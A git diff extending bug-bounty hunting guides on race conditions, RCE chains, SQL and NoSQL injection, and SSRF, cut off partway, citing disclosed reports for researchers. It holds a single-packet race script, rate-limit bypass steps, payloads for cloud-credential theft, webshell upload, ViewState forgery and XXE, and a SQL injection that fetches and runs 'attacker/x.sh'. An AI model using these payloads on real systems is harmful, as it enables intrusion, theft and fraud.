A server-side prefix-match flaw on `redirect_uri` is **necessary but not sufficient** to land the OAuth code on the attacker. The server check passing is one gate; the browser actually navigating cross-origin is another. They behave differently. Always confirm both before writing the finding as a chain → ATO.
diff --git a/skills/hunt-race-condition/SKILL.md b/skills/hunt-race-condition/SKILL.md
index 53b6baa..0b0c2e2 100644
--- a/skills/hunt-race-condition/SKILL.md
+++ b/skills/hunt-race-condition/SKILL.md
@@ -1,8 +1,8 @@
---
name: hunt-race-condition
-description: Hunting skill for race condition vulnerabilities. Built from 3 public bug bounty reports. Use when hunting race condition on any target.
-sources: github
-report_count: 3
+description: Hunting skill for race condition vulnerabilities. Built from 12 public bug bounty reports including modern HTTP/2 single-packet attack cases (James Kettle DEF CON 2023 "Smashing the State Machine"; RyotaK / Flatt Security 10,000-request first-sequence-sync expansion 2024). Covers coupon double-redemption, gift-card double-spend, MFA-OTP-validate race, account-create race, faucet/crypto token double-mint, email-activation race, vote/upvote inflation, password-reset token race, rate-limit bypass via concurrent requests. Use when hunting race conditions, TOCTOU bugs, MFA-bypass-via-timing.
+sources: github, hackerone_public, portswigger_research, flatt_security
+report_count: 12
---
## Crown Jewel Targets
@@ -244,6 +244,214 @@ A cloud hosting provider enforced limits on the number of resources (e.g., dropl
---
+## Disclosed Report Citations (Backfill +9 — 2016-2024)
+
+The following real, verified bug-bounty / coordinated-disclosure cases extend this skill. Four cases (#4, #11, #12, plus the bonus reference) use the modern **HTTP/2 single-packet attack** technique (Kettle DEF CON 31, 2023; Flatt Security expansion 2024) — the technique that makes most modern race exploits viable today.
+
+4. **GitLab — CVE-2022-4037 email-verification race (Kettle DEF CON 31 case study)** ([NVD](https://nvd.nist.gov/vuln/detail/CVE-2022-4037) · [PortSwigger Research](https://portswigger.net/research/smashing-the-state-machine))
+ - Subclass: password-reset / email-change token race (TOCTOU on email verification)
+ - Single-packet HTTP/2: **YES** — flagship case study in "Smashing the State Machine"
+ - Payload: two concurrent `POST /-/profile` requests changing email to two different addresses; the verification token sent to address A becomes valid for address B because state transitions weren't atomic
+ - Root cause: Devise (Rails auth) builds the confirmation token before the new email is persisted; concurrent updates misroute the token
+ - Year: 2022 (disclosed 2023), CVSS 6.4, patched 15.7.2 / 15.6.4 / 15.5.7
+
+5. **Worldcoin (Tools for Humanity) — World ID action-verification race** ([Medium writeup](https://medium.com/@gonzo-hacks/the-fast-and-the-curious-finding-a-race-condition-in-worldcoin-621c89bfbd61))
+ - Subclass: vote/upvote inflation (one-human-one-action enforcement bypass)
+ - Payload: ~20 parallel requests via Burp "Send in Parallel" against the verification endpoint
+ - Root cause: `canVerifyForAction` appended to an array without DB-level locking; fix added `nullifiers` table with atomic UPSERT
+ - Year: 2023 — **$3,000** (High)
+
+6. **Stripe — Promotion code redeemed past limit** ([H1 #1717650](https://hackerone.com/reports/1717650))
+ - Subclass: coupon double-redemption
+ - Payload: create promo with redemption limit = 1; open two payment-link tabs of same merchant, apply coupon in both, click Pay simultaneously → both succeed
+ - Root cause: redemption counter incremented post-charge, not atomically with charge; no row-level lock on `promotion_code.times_redeemed`
+ - Year: 2022 — **$250**
+
+7. **Stripe — Fee discounts redeemed many times** ([H1 #1849626](https://hackerone.com/reports/1849626))
+ - Subclass: wallet/balance double-spend (Connect fee discount could be redeemed repeatedly)
+ - Payload: parallel POSTs to redemption endpoint of a one-shot promotional credit before the credit-consumed flag flipped
+ - Root cause: non-atomic check-then-decrement on the credit balance object
+ - Year: 2023 — **$5,000**, ~$600 platform fee loss per redemption
+
+8. **Reverb.com — Gift card multi-redemption** ([H1 #759247](https://hackerone.com/reports/759247))
+ - Subclass: coupon double-redemption (gift card)
+ - Payload: capture `POST /gift_cards/redeem` → duplicate N× → fire parallel → balance credited N× from a single card
+ - Root cause: gift-card consumption marker written after balance credit, no `SELECT…FOR UPDATE` around the redemption read
+ - Year: 2019 — **$1,500** (foundational/widely cited)
+
+9. **Cosmos / Starport faucet — Double-mint race** ([H1 #1438052](https://hackerone.com/reports/1438052))
+ - Subclass: wallet/balance double-spend (crypto faucet token issuance)
+ - Payload: simultaneous `/faucet/transfer` requests; the `Transfer` Go function executes two state-mutating actions per request, both non-atomic
+ - Root cause: faucet handler did not lock per-recipient; transfer() read-modify-write was not serialized
+ - Year: 2022 — **$5,000** (CVSS 9.3)
+
+10. **InnoGames — Email-activation race → unlimited diamonds** ([H1 #509629](https://hackerone.com/reports/509629))
+ - Subclass: referral abuse multiplier / account-create race (one activation token → multiple "first activation bonus" payouts)
+ - Payload: race the email-activation endpoint with the same one-time token before `token_used` flag committed → reward granted on every winning request
+ - Root cause: token-consumption flag set in same transaction as reward grant, but transaction isolation level too low (READ COMMITTED)
+ - Year: 2019 — **$2,000**
+
+11. **RyotaK / Flatt Security — "First Sequence Sync" PIN-bruteforce (10,000-req single-packet expansion)** ([Flatt Security Research](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/))
+ - Subclass: rate-limit bypass via race / MFA-OTP-validate race (6-digit PIN with 5-attempt cap)
+ - Single-packet HTTP/2: **YES** — extends Kettle's single-packet from ~30 requests to 10,000 requests in 166 ms by splitting across IP fragments with synchronized TCP first-sequence
+ - Payload: ~10,000 concurrent `POST /verify-pin` requests in 166 ms, each with a different 4-6 digit guess, all landing inside the rate-limit window
+ - Root cause: rate-limit counter incremented per-request asynchronously; "5 attempts" gate read stale counter for the entire batch
+ - Year: 2024 — **must-reference modern single-packet example**
+
+12. **nopCommerce — CVE-2024-58248 gift-card double-redemption** ([NVD](https://nvd.nist.gov/vuln/detail/CVE-2024-58248))
+ - Subclass: coupon double-redemption (e-commerce checkout TOCTOU)
+ - Single-packet HTTP/2: **YES** — single-packet attack reproduces it reliably
+ - Payload: two parallel `POST /checkout/PlaceOrder` requests both applying the same gift card → both orders complete, gift card balance debited once
+ - Root cause: order-placement code path did not implement locking on gift-card balance row → check-then-debit non-atomic
+ - Year: 2024 (versions before 4.80.0)
+
+---
+
+## HTTP/2 Single-Packet Attack — Deep Reference
+
+The single-packet attack is the most important race-condition technique published since 2020. It collapses the race window from "tens of milliseconds with TCP-handshake jitter" to "the time the server's worker pool takes to dispatch N pre-buffered requests" — typically **under 1 ms** for the entire batch. This is what makes modern race exploits viable against rate-limited, distributed, load-balanced backends that previously seemed un-race-able.
+
+Original research: **James Kettle, PortSwigger — "Smashing the State Machine" (DEF CON 31, August 2023)** [portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine). 2024 extension: **RyotaK / Flatt Security — "Beyond the Limit: Expanding Single-Packet Race Condition with First Sequence Sync"** [flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/).
+
+### Why it works — architecture
+
+A race exploit fails for two reasons that look like the same problem but aren't:
+1. **Network jitter** — N requests sent sequentially over the same TCP connection arrive at the server with 0.5–5 ms spread, depending on RTT and congestion.
+2. **Server-side dispatch ordering** — even if all N requests arrive in the same millisecond, the worker pool may serialise them via a load balancer or accept-queue.
+
+The single-packet attack solves (1) by exploiting two protocol-level facts about HTTP/2:
+
+- HTTP/2 multiplexes N requests over ONE TCP connection as ONE TLS record per request batch.
+- TLS records can carry multiple HTTP/2 `HEADERS` frames, and each HEADERS frame can be the last frame of a separate stream.
+
+So if you pre-stage N requests on a single HTTP/2 connection — **send all the HEADERS frames except the very last byte of each, then release all the final bytes in a single TCP write** — the TCP stack ships them in **one IP packet** (assuming < MTU, ~1500 bytes). The server's kernel hands all N requests to the HTTP/2 parser in the same scheduler tick. The race window is no longer the network — it's the application's own atomicity-failure window.
+
+For (2) — server-side dispatch ordering — Kettle showed that modern backends (Node.js, Go, async Python) dispatch concurrently within microseconds when handed a packet of N pre-parsed requests. Older blocking backends (default Apache prefork, single-threaded PHP-FPM) serialise even with single-packet delivery; for those, the technique helps less but still wins over TCP-stream sequencing.
+
+### Last-byte-sync technique
+
+The exact mechanic Kettle documented:
+
+1. Open one HTTP/2 connection. Negotiate TLS, send the SETTINGS frame, accept the server's.
+2. For each of N requests, send its `HEADERS` frame **with the END_HEADERS flag** and a `DATA` frame containing **all but the last byte of the body**. Do NOT set END_STREAM yet.
+3. The server cannot dispatch the request because END_STREAM hasn't fired — it's waiting for one more byte.
+4. Repeat (2) for all N requests on the same connection. Each is now buffered at the server, parsed up to "almost done".
+5. **In a single TCP write, send N tiny `DATA` frames each carrying 1 byte with END_STREAM set.** TCP coalesces them into one outbound segment. The server's HTTP/2 parser sees END_STREAM on all N streams in the same scheduler tick.
+6. Server dispatches N requests to N workers in microseconds.
+
+The race window equals the time between worker N's `SELECT ... FOR UPDATE` and worker N+1's same query — typically nanoseconds when the workers run on the same CPU.
+
+### Wireshark validation
+
+To confirm your attack tool is genuinely producing one-packet sync (vs accidentally fragmenting):
+
+1. Capture the loopback or your egress interface during the attack: `sudo tcpdump -i lo0 -w race.pcap port 443` (or interface 0).
+2. Open in Wireshark, filter `tls and tcp.port == 443`.
+3. Find the TLS record containing the END_STREAM flush. It should contain **N H2 DATA frames with END_STREAM set, in one TLS record, in one TCP segment.**
+4. If you see N TLS records or N TCP segments, your tool is sequencing. The race window is your inter-segment gap — typically too wide.
+
+The Turbo Intruder `engine=Engine.BURP2` implementation guarantees single-packet delivery on HTTP/2 targets when the request body fits in MTU. For larger bodies, see the "Race-window estimation" subsection below.
+
+### h2.0 single-frame vs h2.cl multi-frame race
+
+Two variants depending on what protocol the target speaks:
+
+- **h2.0 single-frame** (the standard Kettle attack): pure HTTP/2 end-to-end. N requests in one TLS record. Works against any modern HTTPS-fronted target where the front-end advertises `h2` in ALPN. **Default approach.**
+- **h2.cl multi-frame**: front-end speaks HTTP/2 to the client, downgrades to HTTP/1.1 to the back-end. Smuggling-adjacent — you craft an HTTP/2 request whose `Content-Length` confuses the front-end into emitting two HTTP/1.1 requests to the back-end on the same connection. Pairs with HTTP request smuggling (see `hunt-http-smuggling`). Useful when single-packet HTTP/2 is filtered at the front-end but the back-end is reachable in HTTP/1.1.
+
+Detect h2.0 viability via `curl -sI --http2 https://target.com | grep -i HTTP/2`. If the server doesn't speak h2, single-packet is not directly applicable — fall back to "parallel-pipelining" over HTTP/1.1 (much wider race window; usually loses the race against modern backends, but still useful for naive ones).
+
+### Race-window estimation methodology
+
+Before firing the attack, estimate the race window. This determines whether you need single-packet at all, and how many concurrent requests to send.
+
+1. Issue a **single** request to the target endpoint. Capture the response time on the wire: `T_single`.
+2. Issue **two sequential** requests. Capture both response times: `T_seq1`, `T_seq2`.
+3. Issue **two concurrent** requests over the same connection (via HTTP/2 multiplex or HTTP/1.1 pipeline). Capture both: `T_par1`, `T_par2`.
+4. If `T_par1 ≈ T_par2 ≈ T_single`, the server handles both in parallel — race window is `min(T_par1, T_par2)`, single-packet helps a lot.
+5. If `T_par2 ≈ T_par1 + T_single`, the server serialises — race window is whatever happens between sequential workers; single-packet helps less but still wins over TCP jitter.
+6. For PIN / OTP / coupon-redemption endpoints, expect `T_single` to be 10–100 ms (DB query latency). The race window inside the server is typically < 1 ms (the gap between `SELECT` and `UPDATE` on the same row).
+7. **N rule of thumb:** start with `N = 30` concurrent requests for single-packet h2. Increase to 100+ if the target's `T_single` is < 10 ms (very fast endpoint = larger pre-buffer needed to overflow the worker pool). Up to **10,000** with Flatt's first-sequence-sync extension (see below).
+
+### Single-connection-multi-stream vs Multi-connection-single-stream
+
+A decision tree for picking the right shape:
+
+- **Single connection, N streams** (default Kettle / Turbo Intruder BURP2 engine): N concurrent HTTP/2 streams on one TCP connection. **Use when:** target speaks HTTP/2; request body fits in MTU (~1400 bytes after TLS overhead); you need N ≤ ~30.
+- **Multiple connections, one stream each** (older parallel HTTP/1.1): N TCP connections, one request per connection. **Use when:** target doesn't speak HTTP/2 OR the request body is large (> MTU). Race window widens significantly (5–50 ms TCP-handshake spread) — only viable on slow servers.
+- **Multiple connections, multiple streams** (Flatt's first-sequence-sync, 2024): N TCP connections each carrying M streams. Total = N×M requests. Uses synchronized TCP first-sequence numbers across multiple connections to land all packets at the server in the same processing window. **Use when:** you need N > 30 (e.g., brute-forcing a 6-digit PIN within a 5-attempt rate-limit window — Flatt demonstrated 10,000 requests in 166 ms by splitting across IP fragments with synchronized SEQ numbers).
+
+### Turbo Intruder `Engine.BURP2` template — explained
+
+```python
+def queueRequests(target, wordlists):
+ # 1. Engine.BURP2 = HTTP/2 single-packet engine; provides the last-byte-sync primitive.
+ engine = RequestEngine(
+ endpoint=target.endpoint,
+ concurrentConnections=1, # 2. One TCP connection, multiplexing all streams.
+ requestsPerConnection=100, # 3. Up to 100 concurrent H2 streams. >30 needs Flatt-extension.
+ engine=Engine.BURP2, # 4. THE critical line — selects the single-packet engine.
+ pipeline=False, # 5. Pipelining is for HTTP/1.1; irrelevant on H2.
+ )
+
+ # 6. Build N requests. Each is identical here — racing the same endpoint.
+ # For PIN brute-force, vary the body across requests.
+ for i in range(30):
+ engine.queue(target.req)
+
+ # 7. openGate(...).complete(...) is the API call that performs last-byte-sync:
+ # - Buffer all 30 requests up to "last byte not sent"
+ # - Release all final bytes in a single TCP write
+ # - openGate returns immediately; complete waits for all responses.
+ engine.openGate("race1")
+ engine.complete(timeout=10)
+```
+
+The `Engine.BURP2` import does the heavy lifting. Behind the scenes:
+- Each `engine.queue(req)` adds a HEADERS frame to the connection's send buffer but withholds the last DATA frame byte.
+- `openGate("race1")` blocks until all 30 are buffered, then issues a single `socket.send(...)` containing 30 × 1-byte DATA frames with END_STREAM. All 30 cross the wire in one IP packet (assuming < MTU).
+- `complete(timeout=10)` collects responses and times.
+
+Inspect each response object: `req.code`, `req.length`, `req.time`. The race is "won" when at least 2 requests return a success that should logically have been mutually exclusive (e.g., both coupon-applies succeed when the redemption limit was 1).
+
+### Flatt's first-sequence-sync extension (when N > 30 is needed)
+
+Kettle's original single-packet caps at roughly N=30 due to MTU + TLS record limits. Flatt Security's RyotaK published the extension in August 2024:
+
+- Take advantage of IP fragmentation: a single "logical" packet at the IP layer can be split across multiple physical IP fragments.
+- Force synchronized TCP SEQ numbers across multiple connections by completing the TLS handshakes in lockstep and aligning the SYN/SYN-ACK timing.
+- Result: 10,000 concurrent requests delivered to the server in 166 ms, all landing inside a rate-limit window that the server thought was atomic.
+
+Use case: brute-forcing 6-digit PINs (max 10^6 candidates) inside a 5-attempts-per-window cap. Without first-sequence-sync, you'd need ~200,000 windows. With it, ~100 windows.
+
+Implementation: [flatt.tech/research/posts/beyond-the-limit-...](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/) includes a working PoC.
+
+### Operator playbook (when to reach for what)
+
+| Scenario | Tool / variant |
+|---|---|
+| Modern HTTPS target, ALPN advertises `h2`, body < 1400 bytes, need N ≤ 30 | Turbo Intruder `Engine.BURP2` single-packet — **default** |
+| Same as above but body > MTU | Multi-connection HTTP/2; widen window estimate by ~5 ms |
+| Target speaks HTTP/1.1 only (no h2 ALPN) | `curl --next` parallel pipeline; race window is wide; only viable on slow servers |
+| Need N > 30 (PIN brute-force, OTP exhaustion within rate-limit window) | Flatt first-sequence-sync extension; manual implementation per the writeup |
+| Front-end h2, back-end h1 (CDN+origin) | h2.cl smuggling variant — pairs with `hunt-http-smuggling` |
+| Quick reproducibility test on a single endpoint | `curl --next --next --next --next` (4-shot parallel HTTP/1.1) — wide window but no setup |
+
+### Anti-patterns
+
+- **Don't claim "race condition" from observing two near-simultaneous successes in Burp Repeater "Send group in parallel" mode** — that mode pipelines over HTTP/1.1 with millisecond-spread, not single-packet. Triagers know this and downgrade.
+- **Don't submit without Wireshark confirmation** for high-value race claims. The deliverable that pays best: PoC video showing Turbo Intruder firing + Wireshark capture showing all N END_STREAM frames in one TCP segment + N successful responses that should have been mutually exclusive.
+- **Don't use single-packet against endpoints that genuinely don't race** (e.g., endpoints with row-level locks and transactions). The window estimation step exists to filter these out before you spend 2 hours building the PoC.
+
+### Cross-references
+
+- `hunt-http-smuggling` — h2.cl multi-frame variant
+- `hunt-mfa-bypass` — OTP rate-limit window single-packet bypass (Flatt PIN-bruteforce class)
+- `hunt-business-logic` — coupon / wallet / promo state-machine races where single-packet is the enabling primitive
+- Disclosed Report Citations above — citations #4, #11, #12 are the canonical single-packet exemplars (GitLab/Devise CVE-2022-4037, Flatt 10k-req PIN brute-force, nopCommerce CVE-2024-58248)
+
+---
+
## Related Skills & Chains
- **`hunt-business-logic`** — Race conditions are the "concurrency arm" of every business-logic state machine. Chain primitive: business logic (coupon/promo) + race-condition single-packet attack → coupon redeemed N times → direct financial loss.
diff --git a/skills/hunt-rce/SKILL.md b/skills/hunt-rce/SKILL.md
index a4d5ef6..1e71dc3 100644
--- a/skills/hunt-rce/SKILL.md
+++ b/skills/hunt-rce/SKILL.md
@@ -397,6 +397,72 @@ During reconnaissance on a target's cloud infrastructure, a researcher discovere
---
+## Chains & Compositions (Senior Hunting)
+
+RCE in 2020-2026 rarely arrives at a single sink. Every modern RCE is composed of (1) a primitive that puts attacker bytes onto the host or into a deserialization pipeline, plus (2) an exec gadget that interprets them. The chains below decompose six high-paying RCE shapes into their primitive components — each step is testable in isolation, the chain is what pays.
+
+### Chain 1 — SSRF + IMDSv1 + Leaked IAM Role → Lambda Invoke → Backend RCE (Capital One pattern)
+
+- **A.** SSRF on a server-side fetcher (link-preview, image proxy, webhook URL, PDF generator). Confirmed via Burp Collaborator OOB callback.
+- **B.** Point SSRF at AWS IMDSv1 metadata: `http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>` → returns temporary STS credentials.
+- **C.** Use the credentials with `aws lambda invoke --function-name <internal-function>` — Lambda runs server-side code that the attacker can influence via the function's input parameter.
+- **Impact:** Full backend RCE in the Lambda context, plus pivot path to whatever else the role grants (S3 / DynamoDB / RDS).
+- **Real shape:** Capital One 2019 — $80M civil penalty, attacker conviction. SSRF in a WAF on EC2 → IMDSv1 → IAM role → 106M-record breach via S3 sync. Cross-refs `hunt-ssrf` Disclosed Report Citation #6.
+
+### Chain 2 — SQLi + `COPY FROM PROGRAM` → Direct OS-level RCE on Postgres Host
+
+- **A.** SQLi confirmed on a Postgres backend (boolean/time-based works; UNION not needed).
+- **B.** The DB user has either `pg_read_server_files` or `COPY` privileges (default for many AWS RDS / Google Cloud SQL roles when "admin" databases exist).
+- **C.** Stack a query: `'; COPY users FROM PROGRAM 'curl http://attacker/x.sh | bash'; --` → Postgres shells out to `/bin/sh -c <attacker command>` → RCE as `postgres` user.
+- **Impact:** RCE as the database user, which on managed Postgres frequently has IAM credentials and direct access to other AWS resources.
+- **Real shape:** Multiple H1 disclosures 2020-2024 across SaaS apps backed by Postgres. Cross-refs `hunt-sqli` Disclosed Report Citation #12 and root cause discussion of `FILE`/`xp_cmdshell` privileges.
+
+### Chain 3 — Image Upload + Path Traversal in Filename + Misconfigured MIME Serving → Webshell
+
+- **A.** File upload accepts images (`image/png`, `image/jpeg`). The server saves with the user-supplied filename or only validates Content-Type, not actual content.
+- **B.** Upload a `.aspx`/`.jsp`/`.php` file with the correct image magic-bytes (`GIF89a` + PHP after) and a filename containing `../` to write outside the upload directory into the web-root (`../../../public/webshell.php`).
+- **C.** Request `https://target/webshell.php?cmd=id` — server's PHP/ASP.NET handler runs the script regardless of extension policy because the path doesn't pass through the upload-dir filter.
+- **Impact:** Unauthenticated or low-priv attacker gets webshell on the application server with the web-server's process privileges.
+- **Real shape:** Multiple disclosed H1 cases on legacy upload handlers; canonical pre-2020 RCE class. Pairs with `hunt-file-upload` (upload bypass table) and `hunt-misc` path-traversal patterns.
+
+### Chain 4 — Prototype Pollution + Lodash/Mongoose Gadget Chain → `child_process.spawn` → Node RCE
+
+- **A.** Identify prototype pollution sink — JSON merge / Object.assign / lodash `_.merge` / Node `Object.create` chain receiving attacker JSON.
+- **B.** Pollute `Object.prototype.shell` to `true` OR `Object.prototype.env.NODE_OPTIONS` to `--require ./malicious.js`. The polluted prototype reaches a downstream `child_process.spawn` or `vm.runInThisContext`.
+- **C.** Sink executes with attacker-controlled shell/env → attacker code runs in Node.js process context with full access to environment variables, AWS metadata, internal services.
+- **Impact:** Server-side JS execution from a JSON POST. Common in Express apps using `body-parser` + `lodash.merge` for config-merging.
+- **Real shape:** `lodash.merge` CVE-2018-16487, CVE-2019-10744, CVE-2020-8203; `mongoose` CVE-2024-53900 (cross-refs `hunt-sqli` Disclosed Report Citation #10 — same gadget family reaches Mongo `$where` instead of process).
+
+### Chain 5 — Unencrypted ViewState + Recovered MachineKey → ASP.NET Deserialization → RCE (ToolShell class)
+
+- **A.** Identify an ASP.NET endpoint where `__VIEWSTATEENCRYPTED=""` (ViewState is signed but not encrypted). Confirm via Burp / curl on form-bearing pages.
+- **B.** Recover the `<machineKey>` validationKey — via config leak (`/web.config` accessible), via subdomain takeover of a sibling app sharing the key, or via the CVE-2025-53771 ToolShell exploit chain that exfils the key on Subscription Edition.
+- **C.** Forge a ViewState using `ysoserial.net --plugin=ViewState --validationkey=<key>` with a `TypeConfuseDelegate` / `WindowsIdentity` payload. Submit to the endpoint. ASP.NET deserialises into a method-call gadget chain ending in `Process.Start` → RCE as the worker-process identity.
+- **Impact:** Full RCE on the IIS web front-end with whatever the AppPool identity grants — often `NETWORK SERVICE` (with SharePoint farm-account access) or higher.
+- **Real shape:** CVE-2025-53770 / 53771 ToolShell (July 2025 emergency advisory); SP2013 unpatched-by-EoL exposure. Cross-refs `hunt-sharepoint` ToolShell precondition chain and `hunt-aspnet` ViewState dual-parser anti-pattern.
+
+### Chain 6 — XXE + PHP `expect://` Stream Wrapper → Direct RCE on Legacy PHP
+
+- **A.** XXE confirmed via OOB DTD callback (`<!ENTITY % x SYSTEM "http://attacker/dtd">`).
+- **B.** Target runs PHP with the `expect` extension enabled (rare in 2026, but still present on legacy hosts and some shared-hosting providers).
+- **C.** Send `<!DOCTYPE foo [<!ENTITY xxe SYSTEM "expect://id">]><foo>&xxe;</foo>` — PHP's stream wrapper executes `id` through expect → output returned in entity expansion or via OOB.
+- **Impact:** RCE as the PHP/web-server user without needing a separate upload or SQLi primitive.
+- **Real shape:** Rockstar Games emblem editor XXE H1 #347139 (2018, $1,500); Adobe Commerce CosmicSting CVE-2024-34102 (XXE → RCE via crypt-key exfil). Cross-refs `hunt-xxe` Disclosed Report Citation #7 and #10.
+
+### Operator-level pattern
+
+Every modern RCE chain has two halves: **the bytes get there** (SSRF, SQLi, upload, prototype-pollution, ViewState, XXE) and **the bytes get interpreted** (lambda invoke, COPY PROGRAM, webshell handler, child_process.spawn, deserializer gadget, expect://). Hunt for the first half; the second is usually one of the six above. If your first-half primitive doesn't compose with any of these — pause before submitting. "Could lead to RCE" is Low/Medium; "RCE demonstrated end-to-end" is Critical.
+
+Cross-references:
+- `hunt-ssrf` — Chain 1
+- `hunt-sqli` — Chain 2
+- `hunt-file-upload` — Chain 3
+- `hunt-api-misconfig` (proto-pollution) — Chain 4
+- `hunt-sharepoint` + `hunt-aspnet` — Chain 5
+- `hunt-xxe` — Chain 6
+
+---
+
## Related Skills & Chains
- **`hunt-ssti`** — Template engines that hit `eval()`/`exec()`/`os.system()` are RCE hiding behind a render call. Chain primitive: Jinja2 `{{config.__class__.__init__.__globals__['os'].popen('id').read()}}` reflected in email-template preview → unauthenticated RCE as the worker process.
diff --git a/skills/hunt-sqli/SKILL.md b/skills/hunt-sqli/SKILL.md
index aeb7547..7c9196a 100644
--- a/skills/hunt-sqli/SKILL.md
+++ b/skills/hunt-sqli/SKILL.md
@@ -1,8 +1,8 @@
---
name: hunt-sqli
-description: Hunting skill for sqli vulnerabilities. Built from 8 public bug bounty reports. Use when hunting sqli on any target.
-sources: github, hackerone_public
-report_count: 8
+description: Hunting skill for sqli vulnerabilities. Built from 12 public bug bounty reports including modern NoSQL injection (Rocket.Chat CVE-2021-22911 MongoDB $regex, Mongoose ORM CVE-2024-53900 $where bypass), modern ORM raw-fragment SQLi (Django CVE-2024-42005, Sequelize GHSA-wrh9-cjv3-2hpw), second-order SOQL injection (HackerOne Salesforce), time-based blind SQLi in GraphQL resolvers, and SQLi on OIDC-proxy backends. Use when hunting SQLi / NoSQLi on any target.
+sources: github, hackerone_public, github_security_advisories, snyk_research, sonarsource_research
+report_count: 12
---
## Crown Jewel Targets
@@ -359,6 +359,36 @@ Apache Airflow's web interface, deployed for workflow orchestration and accessib
---
+## Disclosed Report Citations (Backfill +4 — 2021-2024)
+
+The following real, verified bug-bounty / CVE / coordinated-disclosure cases extend this skill with **modern** (2021-2024) examples emphasising NoSQL and ORM-bypass — the two SQLi families most under-represented in older bundles.
+
+9. **Rocket.Chat — Pre-auth blind NoSQL injection in `getPasswordPolicy` (CVE-2021-22911)** ([H1 #1130721](https://hackerone.com/reports/1130721) · [Sonar writeup](https://www.sonarsource.com/blog/nosql-injections-in-rocket-chat/))
+ - Subclass: NoSQL injection (MongoDB `$regex` operator) — pre-auth
+ - Payload (Meteor DDP method call): `{"msg":"method","method":"getPasswordPolicy","params":[{"token":{"$regex":"^a"}}]}` — brute-force password-reset token character-by-character via response-time/boolean side-channel, then chain to admin password reset → RCE via integrations
+ - Root cause: Meteor `methods` accepted raw object selectors; `getPasswordPolicy` did not validate that `token` was a string before passing it to Mongo `findOne`
+ - Year: 2021 — H1 private bounty paired with CVE-2021-22911
+
+10. **Mongoose ORM — `$where` injection via `populate({match})` (CVE-2024-53900 + CVE-2025-23061)** ([GHSA-m7xq-9374-9rvx](https://github.com/advisories/GHSA-m7xq-9374-9rvx))
+ - Subclass: NoSQL injection — ORM raw-operator bypass (Mongoose Node.js)
+ - Payload: `Model.find().populate({path:'author', match:{$where:"sleep(5000) || true"}})` — attacker-controlled JSON forwarded into `populate({match})` reached MongoDB `$where`, executing arbitrary server-side JavaScript → blind exfil + DoS
+ - Root cause: Mongoose < 8.8.3 did not strip `$where` inside `match` filters; developers assumed ORM-level safety
+ - Year: 2024 — reported via the Mongoose project / GitHub Security Lab IBB
+
+11. **Django — `QuerySet.values()` JSONField SQL Injection (CVE-2024-42005)** ([H1 #2646493](https://hackerone.com/reports/2646493) · [Commit](https://github.com/django/django/commit/c87bfaacf8fb84984243b5055dc70f97996cb115))
+ - Subclass: ORM raw-fragment SQLi (Django ORM — column-alias injection)
+ - Payload: `Item.objects.values('data__"); DROP TABLE x;--')` — a crafted JSON-path key (passed as `*args` from a request parameter) was used as a SQL column alias without escaping; `.values()` emitted `SELECT (data->>'…') AS "…"; DROP TABLE x;--"`
+ - Root cause: Django emitted unquoted column aliases derived from user-supplied JSONField key strings; assumed alias values were always developer-controlled
+ - Year: 2024 — CVSS 9.8, reported by Eyal Gabay (EyalSec) through Django's HackerOne program → IBB award
+
+12. **Mozilla — Boolean-based blind SQLi on `mozilla.social` invite endpoint** ([H1 #2209130](https://hackerone.com/reports/2209130))
+ - Subclass: boolean-based blind SQLi on an authentication-adjacent endpoint
+ - Payload: `POST /invite {"code":"abc' AND (SELECT COUNT(*) FROM information_schema.tables)>0--"}` — boolean differentiation between "invalid code" and "code accepted, redirect issued" allowed schema/table enumeration on the OIDC proxy Postgres backend
+ - Root cause: invite-code lookup built a raw SQL string against the proxy's Postgres DB; developers assumed the code was short/opaque and skipped parameter binding
+ - Year: 2023 — Mozilla H1 bounty (amount redacted in disclosure)
+
+---
+
## Related Skills & Chains
- **`hunt-rce`** — A SQLi against a DB user with `FILE`, `xp_cmdshell`, or `COPY FROM PROGRAM` privileges is an RCE primitive, not just a data-read. Chain primitive: MSSQL union-based SQLi → `EXEC xp_cmdshell 'whoami'` → RCE as `NT AUTHORITY\SYSTEM`; Postgres SQLi with `pg_read_server_files` or `COPY ... FROM PROGRAM 'id'` → RCE; MySQL SQLi with `FILE` → write webshell to web-root via `INTO OUTFILE`.
diff --git a/skills/hunt-ssrf/SKILL.md b/skills/hunt-ssrf/SKILL.md
index 00a2671..023cf5a 100644
--- a/skills/hunt-ssrf/SKILL.md
+++ b/skills/hunt-ssrf/SKILL.md
@@ -1,8 +1,8 @@
---
name: hunt-ssrf
-description: Hunting skill for ssrf vulnerabilities. Built from 9 public bug bounty reports. Use when hunting ssrf on any target.
-sources: github, hackerone_public
-report_count: 9
+description: Hunting skill for ssrf vulnerabilities. Built from 15 public bug bounty reports including AWS metadata SSRF (HackerOne $25k Analytics PDF, Shopify Exchange $25k, Capital One 106M-record breach, Dropbox/HelloSign $4,913), GCP metadata SSRF (Snapchat $4k), Azure IMDS SSRF (Azure DevOps $15k chain, ChatGPT Custom Actions MSRC), DNS rebinding SSRF (Concrete CMS, GitLab UrlBlocker), gopher-protocol-to-Redis-RCE (Yahoo Mail $15k), link-preview SSRF (Reddit Matrix $6k), and headless-browser PDF-generator SSRF chains. Use when hunting SSRF on any target — OOB Collaborator confirmation mandatory for blind cases.
+sources: github, hackerone_public, portswigger_research, binarysecurity_research
+report_count: 15
---
## Crown Jewel Targets
@@ -373,6 +373,48 @@ An attacker who could register a Kubernetes API extension server (metrics-server
---
+## Disclosed Report Citations (Backfill +6 — 2018-2024)
+
+The following real, verified bug-bounty / coordinated-disclosure cases extend this skill. Cloud-metadata SSRFs across all three providers, DNS rebinding, gopher-to-Redis-RCE, link-preview SSRF, and headless-browser/PDF-generator chains are all represented.
+
+3. **HackerOne — SSRF in Analytics Reports (PDF generator → AWS metadata)** ([H1 #2262382](https://hackerone.com/reports/2262382) · [Writeup](https://osintteam.blog/25-000-ssrf-in-hackerones-analytics-reports-b9a5b3aa3d6e))
+ - Subclass: headless-browser SSRF (PDF generator) → AWS metadata SSRF (IMDSv1)
